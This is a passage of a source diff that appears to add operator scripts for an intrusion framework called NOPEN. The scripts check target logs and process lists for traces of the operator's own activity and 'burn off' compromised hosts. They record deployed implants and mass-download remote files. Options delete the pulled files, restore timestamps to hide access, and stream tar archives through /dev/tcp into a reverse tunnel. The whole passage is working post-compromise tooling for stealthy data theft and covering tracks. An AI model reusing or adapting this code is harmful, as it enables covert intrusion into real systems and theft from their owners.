($_[$#_] =~ /^\// and ! ($_[$#_] =~ /^\/dev/)) { + $dodirs{dirname($_[$#_])}++ ; + } + } + close(IN2); + } + @dodirs = keys (%dodirs) ; +# print ("DBG: @dodirs|\n"); + # Defaults + # how old to look back + $defhoursold = 5 ; + # look where for logs + $logdirfile = "$optmp/.logdirs.$nopen_rhostname" ; + if (! -e "$logdirfile" or $opt_r) { + if (open(OUT2,"> $logdirfile")) { + foreach (@dodirs) { + print OUT2 "$_\n"; + } + close(OUT2); + } else { + mydie("Unable to open > $logdirfile"); + } + } + + $opt_s .= ":/etc" if $burnmode; + $opt_s =~ s/^://; + + mydie("Unable to open < $logdirfile") unless (open(IN2,"< $logdirfile")) ; + @logdirs = (); + foreach () { + chomp; + next unless $_; + push(@logdirs,$_); + } + close(IN2) ; + @logdirs = uniqify_array(@logdirs); + for (my $i=0;$i<@logdirs;$i++) { + $logdirs[$i] =~ s,/+$,,; + $logdirs[$i] =~ s,/+,/,g; + } + %skipdirs=(); + if (defined $opt_s) { + foreach (split (/:/,$opt_s)) { + mydie("entries in -s argument must be full paths") + unless (/^\//); + mydie("entries in -s argument must not contain whitespace") + if (/\s/); + s,/+,/,g; + s,/+$,,g; + $skipdirs{$_}++; + } + } + + foreach (@logdirs) { + next if m,^/dev,; + if ($skipdirs{$_}) { + delete $dodirs{$_}; + next; + } + next unless $_; + $dodirs{$_}++ ; + } + $dorootdir=0; + if ($burnmode) { + $recursels = "-R" if $opt_R; + $dorootdir++ unless $skiprootdir; + $dodirs{"/tmp"}++ unless $notmp; + }; + @dodirs = keys %dodirs; + #foreach my $k (keys %dodirs) { + # dbg("dodirs{$k}=$dodirs{$k}="); + #} + + #dbg("dodirs before(@dodirs)"); + @dodirs = uniqify_array(keys (%dodirs)) ; + #dbg("dodirs after(@dodirs)"); + $logdirs = "@dodirs" ; + $logdirs =~ s/ / /g ; + #dbg("logdirs=$logdirs="); + if ($burnmode) { + } else { + if (open(OUT2,"> $logdirfile")) { + foreach (@dodirs) { + print OUT2 "$_\n"; + } + close(OUT2); + } else { + mydie("Unable to open > $logdirfile second time"); + } + } + %notailfiles = (utmp,1, + wtmp,1, + utmpx,1, + wtmpx,1, + lastlog,1, + ); + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs logcheck\" is used. + +"; + $gsusagetext="Usage: -gs logcheck [options] [ dir [dir2] ... ] + +-gs logcheck lists log directories sorted by time, then shows the tail +of each log under $defhoursold (or -a#) hours old. The directories examined +always include $deflogdirs and will also include any other directory +locations found in the system's /etc/syslog.conf file. If a \"dir\" is +provided (must start with \"/\") it is also listed (this time +and in future uses of autologcheck for this host). Currently for +$nopen_rhostname, these log directories will be listed: + + $logdirs + +Files with these names are not tailed: + + ".join(" ",@notailfiles)."\n". +"OPTIONS + + -h show this usage statement + -l # number of lines per file shown (defaults to 30) + -a # files less than integer number of hours old are done + -P prompt for what file(s) to tail (since -a gets time wrong) + -p do NOT pause between each log's tail output + -L does NOT tail any of the files - only shows listing + -r reset log directories for this host to: /var/log /var/adm + -s list Skip directories in this colon delimited list on this run + -x pop up a listing of the log files in another window + +"; + if ($burnmode) { + $gsusagetext="Usage: -gs burnBURN [options] + +$prog runs a few commands on target (-logs, -gs arp, w, =ps and -lt) , +pausing between each. It also checks for stranded files on target that we +-put during the op. If there are any, you are alerted and should get a +second set of expert eyes to help you. The -gs arp need not be reviewed, +it is for analysis later. + +It then calls -burn for you unless you abort at any of the pauses. You +still then have to type BURN to fully burn off target. Hitting return +instead of \"BURN\" leaves you on target still. + +In the final -lt command, non-dot files called \"sess_HEXNUM\", where +HEXNUM is a 32 digit hex number, or \"s.??????\", are filtered out unless +the -F option is used. + +$prog is actually a softlink to autologcheck. Some of the -gs logcheck +options may be useful for $prog, but probably not. + +On FreeBSD, \"ps aluxww\" is used instead of =ps. This gets the parent pid +next to the pid. + +OPTIONS + + -a # Age under which to consider files \"new\", in hours (default is 5) + -R Recurse on -ls (all directories except /.) + -F Skips the filtering of common tmp files (see above) + -S Skips the -ls of / (e.g., when it hangs) + -T Skips the -ls of /tmp (e.g., when it is so huge that we avoid it) + -B Force the -burn (overrides some objections $prog may have).$COLOR_FAILURE + USE -B with caution!!!$COLOR_NORMAL + -w Use builtin \"-w\" instead of w + -b Use ONLY NOPEN built-ins (e.g., the =ps will be skipped-- + you should use -b if process accounting is on) + +"; + } + usage() if ($opt_h or $opt_v) ; + # how old logs + $wcmd = "w"; + $wcmd = "-w" if $opt_w; + $hoursold = $defhoursold ; + if (defined $opt_a) { + mydie("-a argument \"$opt_a\" not a positive number") + unless ($opt_a =~ /^\d+\.{0,1}\d*$/) ; + $hoursold = $opt_a if ($opt_a > 0) ; + } + # Get timezone offset if we can + if (-e "$opdown/hostinfo.$nopen_rhostname") { + if (open(IN2,"<$opdown/hostinfo.$nopen_rhostname")) { + while () { + next unless /^Box Offset: (.*)/ ; + $val = $1 ; + $sign = 1 ; + if ($val < 0) { + $val = -1 * $val ; + $sign = -1 ; + } +#print "DBG: $sign ... $_ ... $val ".$val%60; + $hoursold -= $sign * int(100*($val / 60))/100; + last; + } + close(IN2) ; + } + } + + # how many lines per log + $lines = 30 ; + $lines = $opt_l if ($opt_l > 0 and ($opt_l == int($opt_l))) ; + $lines = 0 if $opt_L or $burnmode; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + $cutofftime = Time::Local::timegm(gmtime()) ; + # change it to use GMT but also to offset the cutofftime based on + # they guys time info in hostinfo* + $cutofftime -= $hoursold * 60 * 60 ; # subtract N hours (in seconds) + + # NOTE: This $cutofftime is wrong. It's TOO big not sure why. + +} #myinit + + +sub alerton { + # Send in triples: + # \@somethingpids, \@somethinglines, "something" + dbg("In alerton(@_)"); + local (@ARGS) = (@_); + my $fullps = shift @ARGS; + my @fullps = @$fullps; + # These will contain ALL the data sent + my (@types,@pids,@lines,%problempid) = (); + # Combine all types of data sent before prompting + while (@ARGS) { + my $pidarr = shift @ARGS; + my $linearr = shift @ARGS; + my $type = shift @ARGS; + next unless (@$linearr > 0); + dbg("More of type=$type:@pids\n(\n".join("\n",@lines)."\n)"); + push @types , $type; + push @pids , @$pidarr; + push @lines , @$linearr; + } + # Do not prompt unless we have something to alert on + return unless (@types and @lines); + foreach my $pid (@pids = uniqify_array(@pids)) { + $problempid{$pid}++; + } + my @ancestorpids = ancestorpids(@pids); + my $pidregexp = join("|",@ancestorpids); + my @problemlines = grep /[a-zA-Z] ($pidregexp) /,@fullps; + @problemlines = grep / ($pidregexp) /,@fullps unless @problemlines; + my $are = "is a"; + my $they = "this"; + my $s = ""; + if (@problemlines > 1) { + $s = "s"; + $are = "are"; + $they = "they"; + } + my $types = shift @types; + while (@types) { + if (@types > 1) { + $types .= ", " ; + } else { + $types .= " and "; + } + $types .= shift @types; + } + my ($more,$more2) = ("$psheader\n"); + my $allegrep = " (".join("|",@ancestorpids).") "; + foreach my $pid (@ancestorpids) { + my ($color1,$color2) = (); + if ($problempid{$pid}) { + $more2 .= $COLOR_NOTE.$color1.$psline{$pid}."$COLOR_NORMAL\n"; + } else { + $more .= $psline{$pid}."\n"; + } + } + my $esp = ""; + if ($aixtarget or $hpuxtarget) { + $esp = + "Especially since you are on $targetplatform,\n". + "where we often get on with JACKLADDER, which can strand these processes.\n\n"; + } + offerabort + ($targetdate. + $COLOR_NOTE."\n". + "RELATED $pscmd line$s$COLOR_NORMAL (including ancestor pids in black):\n\n". + $more.$more2."\n$COLOR_FAILURE\n". + "There $are$COLOR_NOTE $types$COLOR_FAILURE line$s in the $pscmd that could be ours,\n". + "from today's or previous ops. $esp\n\n". + "Above you see ALL entries from $pscmd associated with any of these processes.\n\n". + "CONSIDER:\n". + " # Is the time shown recent? If not, could it still be us from earlier?\n\n". + " # Get help. No one can make this call alone.\n\n". + " # Only continue here if you are SURE these are not us.\n\n". + "If you and the experts AGREE $they $are us, abort (the default option here),\n". + "kill those pids (see pastable below), and then run -burnBURN again.\n\n". + "Kill pastable (if it is ALL us): # kill @pids\n\n". + "and a ps/grep to be sure they are gone:\n". + " =pse \"$allegrep\"". + "\n\n", + "A" + ); +} + +sub ancestorpids { + # Recursive, uses global %parentpid + local (@pids) = (@_); +dbg("In ancestorpids(@_)"); + my @retpids; + foreach my $pid (@pids) { + push @retpids,$pid; + push @retpids,ancestorpids($parentpid{$pid}) if $parentpid{$pid} > 1; + } + return uniqify_array(@retpids); + return reverse sort by_num uniqify_array(@retpids); +} +#TODO: Fix autologcheck to call via function call or via require +# TODO: Fix the cutofftime is not working.....use remote "date" command? Not builtin tho. +# TODO: Add autologcheck to -gs survey diff --git a/Linux/etc/autologtool b/Linux/etc/autologtool new file mode 100755 index 0000000..f32ba29 --- /dev/null +++ b/Linux/etc/autologtool @@ -0,0 +1,192 @@ +#!/usr/bin/env perl +## +use File::Basename ; +$VER="1.1.0.2"; + +my $toolfile = ""; + +my $toolname = ""; +my $toolversion = ""; +my $toolcomment = ""; +my $toolusage = ""; +my $toolsuccess = ""; + +my $newhostinfocontent = ""; + +# These are the valid tool usage strings. +my @toolusages = ("ACCESSED","EXERCISED","DEPLOYED","CHECKED","REMOVED"); +my @toolsuccesses = ("SUCCESSFUL","FAILED"); + +# The -f argument is required for these: +my @filerequired = ("DONOT", + "COTTONAXE", + "COTTONCHAINSAW", + "COTTONSCYTHE", + "FUNNELOUT", + "SUCTIONCHAR-CONF", + ); +my %filerequired = (); +my $filerequired = ""; +my $column = 0; +foreach my $key (@filerequired) { + next unless ((length $key) > 0); + $filerequired{uc $key}++; + $filerequired .= sprintf(" %-25s",$key); + $filerequired .= "\n " if ($column++ % 2); +} +myinit(); + + +logtool($toolname, $toolversion, $toolsuccess, $toolusage, $toolcomment,$opt_T,$toolfile,@ARGV); + +# End with true value as we may someday require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs logtool @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + $autoutils = dirname($0)."/autoutils" unless (-e $autoutils); + $autoutils = "autoutils" unless (-e $autoutils); + if (-e $autoutils) { + require $autoutils; + } else { + use IO::Socket ; + use File::Basename ; + #use File::Basename qw(basename dirname); + require "getopts.pl"; # This is the old method, function is Getopts(). + use Getopt::Std qw(getopts getopt); + } + $prog = "-gs logtool" ; + $vertext = "$prog version $VER\n" ; + } + + $optmp = "." unless (-d $optmp); + $opdown = "." unless (-d $opdown); + + clearallopts(); + mydie("bad option(s)") if (! Getopts( "hvf:n:V:s:c:u:T:" ) ) ; +# $usagetext=" +#Usage: $prog [-h] (prints this usage statement) + +#NOT CALLED DIRECTLY + +#$prog is run from within a NOPEN session via when \"$prog\" is used. + +#"; + $gsusagetext=" + + Usage: $prog [OPTIONS] [NAME=VALUE [NAME2=VALUE2]] + +$prog can be run while on a NOPEN target, or autologtool can be run at +the command line (as long as autoutils is accessible to autologtool). If run at +the command line, and /current/down does not exist, both the UsedTools +directory and the hostinfo.* file are created in the current working directory. + +$prog allows an installed tool to be logged to the + + $opdown/UsedTools.\$nopen_rhostname + +directory and to the hostinfo.\$nopen_rhostname file for later perusal. + +The tool name, version, a comment associated with the tool and the tool usage +string are all gathered and entered into the appropriate locations for later +storage. If these values are not passed directly to the program using the +command line, the user is prompted to enter them. The only optional value is +the tool comment; all other entries are required. + +The autologtool script can also be called from any local command line, not +just at a NOPEN prompt (manually or by other scripts) to log tool usage. + +The -f FNAME option is required for these tools + + $filerequired +When the -f FNAME option is used, that local file is placed (read-only) in + + $opdown/UsedTools.\$nopen_rhostname/TOOLNAME/ + +with the suffix YYYYMMDD-HHMMSS_TOOLNAME_VER_STATSTR_USAGE. + +Valid USAGE strings are: @toolusages + +The success STATSTR and USAGE string can be entered lowercase, one letter +is sufficient. + +If the optional NAME=VALUE pairs appear on the command line, those are +added to that section in the format: + +Name: VALUE + +Be sure the NAME has no whitespace and the VALUE is in double quotes if +it has any whitespace. + + OPTIONS + + -h/-v show usage statement / version + -f FNAME Local file associated with the deployment--can be a binary, + script, config file, opscript....anything. + -n TOOLNAME the name of the tool + -V VER the tool version (usually in #.#.#.# format) + -s STATSTR whether or not the tool was successfully installed [$toolsuccesses[0]] + -c CMNT a comment associated with the tool + -u USAGE the usage string for the tool, case insensitive + -T HOST.IP the hostname.IP of the target. Defaults to the NOPEN target + $prog is called from (\$nopen_rhostname). + +"; + usage() if ($opt_h or $opt_v) ; + # No need for pilotstart, not doing anything on target + # Put -gs /port line back in gs.logtool if we ever do turn the socket back on. + # $socket = pilotstart(quiet) unless ($calledviacommandline or $socket); + + $toolname = uc $opt_n; + + if ($toolname eq "SUCTIONCHAR") { + #TODO: Ask them if they really mean SUCTIONCHAR-CONF, for now just warn + ($ans) = mygetinput + ("The SUCTIONCHAR tool is normally automatically logged via -gs install.\n\n". + "Did you really mean to log the use of SUCTIONCHAR-CONF?","Y" + ); + $toolname = "SUCTIONCHAR-CONF" if ($ans eq "y"); + } + + $toolversion = $opt_V; + + if ($toolfile = $opt_f) { + mydie("-f $toolfile does not exist or is empty") + unless (-f $toolfile and -s _); + } else { + mydie("-f FNAME is required for $toolname") + if ($filerequired{$toolname}); + } + + $toolsuccess = $opt_s; + foreach (@toolsuccesses) { + $toolsuccess = $_ if (/^$toolsuccess/i); + } + $toolsuccess = $toolusages[0] unless $toolsuccess; + + $toolcomment = $opt_c; + $toolusage = $opt_u; + foreach (@toolusages) { + $toolusage = $_ if (/^$toolusage/i); + } + + # The logtool() subroutine will take care of setting it back from $opt_T + undef $nopen_rhostname if $opt_T; + +dbg("in autologtool myinit, toolname =$toolname=,", + "toolversion =$toolversion=, toolsuccess =$toolsuccess=,", + "toolcomment =$toolcomment=, toolusage =$toolusage="); +} #myinit + diff --git a/Linux/etc/autolss b/Linux/etc/autolss new file mode 100755 index 0000000..0649d10 --- /dev/null +++ b/Linux/etc/autolss @@ -0,0 +1,229 @@ +#!/usr/bin/env perl +## +# This should have almost no logic in it. Put it all in autoutils:nopenlss(), + +$VER="1.6.0.20"; +#TODO: -lss runs echo on target? wtf? pclean +$| = 1 ; + +myinit() ; + +my ($output,$nopenlines,@output) = nopenlss(@ARGV); + +#bg("output=$output==\noutput=( +#.join("\n",@output)." +# +#openlines=$nopenlines= +#"); + +## END MAIN ## + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs lss"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session with \"$prog\". + +"; + + $gsusagetext = " +Usage: -gs lss [LSS OPTS] [-ls opts] REMOTEPATH [REMOTEPATH2 [MORE...]] + +-gs lss uses NOPEN built-in -ls, with any -ls options provided, on the target +REMOTPATHs given, saving the output to a temporary local file. That local +file is then sorted by timestamp using lsstamp. + +Note that $prog uses the autoutils function nopenlss(), which can be called +form other automated auto* scripts just as autolss does, to include with any +of the LSS options shown below. + +NOTE: $prog (and nopenlss()) are -gs rsync aware. If $prog pulls files + from a target for which -gs rsync is used during the same op, then $prog + will NOT DOWNLOAD any target files that otherwise would match if they + already appear in the target's via-gs.rsync directory. Just be sure to + have the rsync data fully unpacked before beginning pulls with $prog -G. +"; + $gsusagetext .= " +The -ls OPTION -x[mac] MM-DD-YYYY, if used, MUST be the last option on +$prog command line before the PATH(s). +" unless ($ARGV[0] eq "-H"); + $gsusagetext .= " +-ls OPTIONS (-x[mac] MM-DD-YYYY, if used, MUST be last option (prior to + PATH arguments) on $prog command line): + -1 Only the filename shows on each line$COLOR_FAILURE (DO NOT USE WITH -lss)$COLOR_NORMAL + -c Show ctime (default is mtime) + -d Only show that inode, not its contents (even if it is a directory) + -h Show human readable sizes (this is removed by -lss sometimes) + -i Show inode number as well$COLOR_FAILURE (DO NOT USE WITH -lss)$COLOR_NORMAL + -R Recurse listing, showing all subdirectories + -t Sort listing by time (-lss defaults to this anyway) + -u Show atime (default is mtime) + -x[m|a|c] MM-DD-YYYY Show only files dated on/after this date +" + if ($ARGV[0] eq "-H"); + local $doesanyoneusethis = " + -L Skip the sorting by lsstamp + +or want this: + + -6 When -g/-V grepping, ensure the target file path is the only + thing we grep on, not the remainder + + +"; + $gsusagetext .= " +LSS OPTIONS + -h/H/v Show short/long usage or version (long includes -ls options). + -f file Save output to local file (still shown on stdout). + -F Show files only (no dirs or specials). + -g [I:]exps ONLY show/download files whose -ls listing (to include + permissions, ownership, datestamp) matches any of the \",,\" + delimited perl regular expressions provided (unless -V + excludes them). + -m min Only show/download files of at least min bytes (implies -F). + -M max Only show/download files of at most max bytes (implies -F). + -O file Save output using -cmdout (preserves all three timestamps). + -P Look in PATH directories for the target files (like which). + -S date Will list(or -chili, or -get) only files at most this old + (date format is MM-DD-YYYY). Think of this as the -STOP date + (-xm MM-DD-YYYY, an -ls option, is the start date). + -U Do NOT re-use the target -ls of this/these PATHs if done + before (otherwise, if the same PATHs are given later in the + same order, the old -ls output will be re-used by default). + -V [I:]exps DO NOT show/download files whose -ls listing (to include + permissions, ownership, datestamp) matches any of the \",,\" + delimited perl regular expressions provided. + -w/W Implies -P, -w looks for files beginning with the target + strings, and -W looks for files containing the target strings. + -z Provide sum of all file sizes. + -Z Do not show/download empty files (implies -F). + + NOTEs on 1: Optional I: makes the match is case insensitive. + -g/-V 2: For -V and -g, if \"exprs\" is a local file, its content + will be used as the list of regular expressions, one per line. + +LSS GET OPTIONS (ignored without -G) + -4 BETA-BUGGY-NOT-WORKING-YET: DO NOT USE UNLESS DIRECTED TO + Use a remote tar command redirected to /dev/tcp/127.0.0.1/PORT + on target, which will be accepted/unarchived by a local netcat on + that port that is piped to an untar command. Requires a second + window on same target to run the return tunnel pastables. + -5 PORT Use a fixed, already established, reverse tunnel on PORT, allows + several -lss -G4 pulls via tar to all use the same tunnel. + -8 In -G/get mode, we use -ls -n before and then -touch -t after files + are pulled to preserve the original mtime and atime. + -b head|tail Get the \"head\" or \"tail\" -M max bytes of each file. + -C CHILIARGS Chili mode--use lss to find/filter mail files, then run -chili + on the list that results. Using the -l option is normally how we + use -lss -C (-chili mode lss). You should very rarely omit the -l. + With -l, $prog uses the -lss local directory option: + -L $opdown/mailpull/\$NOPEN_RHOSTNAME. + The -C option requires use of the -x[mac] -ls option, which is used + for both the -ls and the -chili date option. The CHILIARGS are + required and must be other -chili arguments, WITH NO SPACES, or + simply \"X\" if there are no other options you want to give -chili: + -s1-m50000 + -ls1 + -l + X + CHILIARGS syntax (remember, no spaces when used with -lss): + [-l][-slines][-mmax] + -D After -ls is complete (even if you choose to -get nothing), + offer to$COLOR_FAILURE REMOVE THE REMOTE FILES$COLOR_NORMAL just listed (and possibly + retrieved). If target files are not in a hidden directory, + you will have several layers of confirmation to get through. + -E str After -get is complete, tar up the files just retrieved in a + file beginning with \"str\" in $opdir, and popup a window + offering to copy_fast the data immediately. + -G After sorted -ls is shown, option to download (implies -F). + -k Keep original order, useful to preserve priority with -l file. + -K[0] Skip any file download where some previously -lss downloaded + file is identical (uses target \"cksum\" binary once PER FILE, + and implies/forces -o) and instead make a local copy by that + name. Add the optional -0 (zero) option to skip making the local + duplicate file. + -l file Use the local file--the files/paths in there become your PATH + arguments. Each line can be output from a -ls or a find or a + -get command--the path, starting with /, will be used, but IT + MUST be the only or final field on the line. Further, if there + is a -x[mac] MM-DD-YYYY or -[mac] MM-DD-YYYY timestamp prior + to the path on the line, that timestamp is used as an -ls + option with that path, (always with mtime by default). I.e., + this can be in your -l file: + -get -l -m 05-05-2005 /path/to/file + and it results in this -ls populating your -lss: + -ls -xm 05-05-2005 /path/to/file + -L DIR Use -get -l to put the files into local DIR (with -lcd DIR). + Either DIR must exist, or it can be \"NOSEND\" to indicate that + behavior (making ./down/NOSEND/\$nopen_rhostname if needed). + -N Skip prompts for deleting, but only if in hidden directory. + -o If getting files, get exactly one at a time. Otherwise, $prog + will put several files on each command line. Using -o is a good + idea if most the files are large and you are using -T. + -p Do NOT use -oget to pull the remainder of files where our + local copy is smaller than that on target. (Default does) + -q Tag the SINGLE directory being pulled as a MYSQL forum (forces + -LNOSENDMYSQLForum in the proper direcotry name format) + -r FORCE duplicate -gets from previous target downloads or + rsyncs (default will not pull file a second time). + -s N,M Split the pull M ways, this window is N of M. Lets + simultaneous and identical $prog commands share the load. + -T max Stop pulling files when the bwmonitor reaches max Megabytes. + (See also touch comment below.) + -Y Eliminate prompt about download and just do it. + +NOTE: Use this local touch to stop all -lss -G sessions running + (after the current -get finishes, see -o above): + + -lsh touch $optmp/StopLSSnow + +Usage: -gs lss [LSS OPTS] [-ls opts] REMOTEPATH [REMOTEPATH2 [MORE...]] + +"; +my $newmaybe = " + -B str Anchor each -V/-g regular expression so this string PRECEEDS + each regular expression. E.g., \"-a /\" forces each expression + to occur at the BEGINNING of some directory or filename. + -A str Anchor each -V/-g regular expression so this string FOLLOWS + each regular expression. E.g., \"-A \$\" forces each expression + to occur at the END OF A LINE. +"; +my $notshown = " TOOK THIS OUT OF USAGE NO NEED/deprecated: + + -P Popup files pulled (careful with large counts) + + + -Q Quiet mode, when nopenlss() is called from another function, + this returns but does not show the final result. -Q is + ignored by $prog. + +"; + # Handle single help/version args here, otherwise + # give global ARGV to noepnlss() to handle with Getopts. + $opt_v = $ARGV[0] eq "-v"; + usage() if ($ARGV[0] eq "--help" or + $ARGV[0] eq "-help" or + $ARGV[0] eq "-h" or + $ARGV[0] eq "-H" or + $ARGV[0] eq "--version" or + $ARGV[0] eq "-v"); + undef $opt_v; + $socket = pilotstart(quiet); + +} #myinit + diff --git a/Linux/etc/autolss.py b/Linux/etc/autolss.py new file mode 100755 index 0000000..cbb045d --- /dev/null +++ b/Linux/etc/autolss.py @@ -0,0 +1,1182 @@ +#!/usr/bin/env python2.6 +VERSION = '1.0.0.7' + +import os +import re +import sys +import time +import fcntl +import shlex +import shutil +import socket +import hashlib +import os.path +import traceback +from optparse import OptionGroup + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +imported = True + +class nopenlss: + + def __init__(self, nopen=None): + + if nopen == None: + self.nopen = autoutils.autoutils() + else: + self.nopen = nopen + + self.stopfile = os.path.join(self.nopen.optmp, 'StopLSSnow') + self.cksums_file = os.path.join(self.nopen.optmp, '%s.pylss.cksums' % self.nopen.nopen_rhostname) + self.files_per_get = 25 + + # create empty cksums file if not there + if not os.path.exists(self.cksums_file): + fd = open(self.cksums_file, 'w') + fd.close() + + self.options = None + self.version = VERSION + self.parser = self.get_arg_parser() + + # for convenience + self.doprint = self.nopen.doprint + self.default_dl_dir = os.path.join(self.nopen.opdown, self.nopen.nopen_rhostname) + self.default_ns_dir = os.path.join(self.nopen.opdown, 'NOSEND', self.nopen.nopen_rhostname) + + + def get_arg_parser(self): + + epilog = '\nNOTE: Use this local touch to stop all -lss -G sessions running\n' + epilog += ' (after the current -get finishes, see -o above):\n\n' + epilog += ' -lsh touch %s\n\n' % self.stopfile + epilog += '-gs lss.py version %s\n' % VERSION + + parser = OptParser(usage='usage: -gs lss.py [options] REMOTEPATH [REMOTEPATH2 [MORE...]]', epilog=epilog) + + parser.add_option('-v', dest='v', action='store_true', help='Show version and exit.') + + group = OptionGroup(parser, '-ls OPTIONS') + group.add_option('-c', dest='c', action='store_true', help='Show ctime (default is mtime).') + group.add_option('-d', dest='d', action='store_true', help='Only show that inode, not its contents (even if it is a directory).') + group.add_option('-R', dest='R', action='store_true', help='Recursive listing, showing all subdirectories.') + group.add_option('-u', dest='u', action='store_true', help='Show atime (default is mtime).') + group.add_option('--xm', dest='xm', metavar='MM-DD-YYYY', help='Show only files dated on/after this mtime date.') + group.add_option('--xa', dest='xa', metavar='MM-DD-YYYY', help='Show only files dated on/after this atime date.') + group.add_option('--xc', dest='xc', metavar='MM-DD-YYYY', help='Show only files dated on/after this ctime date.') + parser.add_option_group(group) + + group = OptionGroup(parser, 'LSS OPTIONS') + group.add_option('-f', dest='f', metavar='file', help='Save output to local file (still shown on stdout).') + group.add_option('-F', dest='F', action='store_true', help='Show files only (no dirs or specials).') + group.add_option('-g', dest='g', metavar='[I:]exps', help='ONLY show/download files whose -ls listing (to include permissions, ownership, datestamp) matches any of the ",," delimited perl regular expressions provided (unless -V excludes them). "I:" makes the match case insensitive. If "exps" is a local file, its content will be used as the list of regular expressions, one per line.') + group.add_option('-m', dest='m', metavar='mix', help='Only show/download files of at least min bytes (implies -F).') + group.add_option('-M', dest='M', metavar='max', help='Only show/download files of at most max bytes (implies -F).') + group.add_option('-O', dest='O', metavar='file', help='Save -ls output using -cmdout (preserves all three timestamps).') + group.add_option('-P', dest='P', action='store_true', help='Look in PATH directories for the target files, like "which" (implies -U).') + group.add_option('-Q', dest='Q', action='store_true', help='Quiet mode, when nopenlss() is called from another function, this returns but does not show the final result.') + group.add_option('-S', dest='S', metavar='MM-DD-YYYY', help='Only show/download files at most this old. Think of this as the STOP date (--xm date for -ls is the START date).') + group.add_option('-U', dest='U', action='store_true', help='Do NOT re-use the target -ls of this/these PATHs if done before (otherwise, if the same PATHs are given later in the same order, the old -ls output will be re-used by default).') + group.add_option('-V', dest='V', metavar='[I:]exps', help='DO NOT show/download files whose -ls listing (to include permissions, ownership, datestamp) matches any of the ",," delimited perl regular expressions provided. "I:" makes the match case insensitive. If "exps" is a local file, its content will be used as the list of regular expressions, one per line.') + group.add_option('-w', dest='w', action='store_true', help='Looks for files beginning with the target strings (implies -P).') + group.add_option('-W', dest='W', action='store_true', help='Looks for files containing the target strings (implies -P).') + group.add_option('-z', dest='z', action='store_true', help='Provide sum of all file sizes.') + group.add_option('-Z', dest='Z', action='store_true', help='Do not show/download empty files (implies -F).') + parser.add_option_group(group) + + group = OptionGroup(parser, 'LSS GET OPTIONS (ignored without -G)') + group.add_option('-0', dest='zero', action='store_true', help='(Zero) When using -K, skip making the local duplicate file (implies -K).') + group.add_option('-8', dest='eight', action='store_true', help='In -G/get mode, we use -ls -n before and then -touch -t after files are pulled to preserve the original mtime and atime (implies -o).') + group.add_option('-b', dest='b', metavar='head|tail', help='Get the "head" or "tail" -M max bytes of each file (implies -o).') + group.add_option('-D', dest='D', action='store_true', help='After -ls is complete (even if you choose to -get nothing), offer to REMOVE THE REMOTE FILES just listed (and possibly retrieved). If target files are not in a hidden directory, you will have several layers of confirmation to get through.') + group.add_option('-G', dest='G', action='store_true', help='After sorted -ls is shown, option to download (implies -F).') + group.add_option('-k', dest='k', action='store_true', help='Keep original order (don\'t sort), useful to preserve priority with -l file.') + group.add_option('-K', dest='K', action='store_true', help='Skip any file download where some previously -lss.py downloaded file is identical (uses target "cksum" binary once PER FILE) and instead make a local copy by that name (implies -o).') + group.add_option('-l', dest='l', metavar='file', help='Use the local file--the files/paths in there become your PATH arguments. Each line can be output from a -ls or a find or a -get command--the path, starting with /, will be used, but IT MUST be the only or final field on the line. Further, if there is a -x[mac] MM-DD-YYYY or -[mac] MM-DD-YYYY timestamp prior to the path on the line, that timestamp is used as an -ls option with that path, (always with mtime by default). The earliest timestamp will be used if different times are found. Specifying --x[mac] in the -lss.py line will override any time given in the file.') + group.add_option('-L', dest='L', metavar='DIR', help='Use -get -l to put the files into local DIR (with -lcd DIR). Either DIR must exist, or it can be "NOSEND" to indicate that behavior (making /current/down/NOSEND/$nopen_rhostname if needed). Appending a path to "NOSEND" (without spaces) will create and download to that relative path, for example "-L NOSEND/path/to /path/to/file" will download /path/to/file to /current/down/NOSEND/$nopen_rhostname/path/to/.') + group.add_option('-N', dest='N', action='store_true', help='Skip prompts for deleting, but only if in hidden directory.') + group.add_option('-o', dest='o', action='store_true', help='If getting files, get exactly one at a time. Otherwise, -gs lss.py will put several files on each command line. Using -o is a good idea if most the files are large and you are using -T.') + group.add_option('-r', dest='r', action='store_true', help='Force duplicate -gets from previous target downloads or rsyncs (default will not pull file a second time).') + group.add_option('-s', dest='s', metavar='N,M', help='Split the pull multiple ways, letting simultaneous and identical -lss.py commands share the load. M is ignored as any number of instances can jump in on the gets. N=1 implies the "master" instance that runs first and generates the list.') + group.add_option('-T', dest='T', metavar='max', help='Stop pulling files when the bwmonitor reaches max Megabytes.') + group.add_option('-Y', dest='Y', action='store_true', help='Eliminate prompt about download and just do it.') + parser.add_option_group(group) + + return parser + + + # + # This does the filtering of the list (lines) returned from -ls based + # on the arguments given. This uses yield() to be passed to list(). + # It yields a tuple of (perms, linkcnt, uid, gid, size, date, file, date_secs, islocal, localsize) + # + def filter_file_list(self, lines, filesonly, nonzero, minbytes, maxbytes, headtail, + greps, vgreps, stopdate, download_dir): + + for line in lines: + line = line.strip() + + if len(line) == 0: + continue + + parts = line.split(None, 5) + datestr = parts[5][:17] + filename = parts[5][18:] + + size = int(parts[4]) + + if filesonly and parts[0][0] != '-': + continue + + if nonzero and size == 0: + continue + + if minbytes and size < minbytes: + continue + + if not headtail: + if maxbytes and size > maxbytes: + continue + + if len(greps) > 0: + passgrep = False + + for r in greps: + if r[0].search(line): + passgrep = True + r[3] += 1 + break + + if not passgrep: + continue + + if len(vgreps) > 0: + passgrep = False + + for r in vgreps: + if r[0].search(line): + passgrep = True + r[3] += 1 + break + + if passgrep: + continue + + secs = 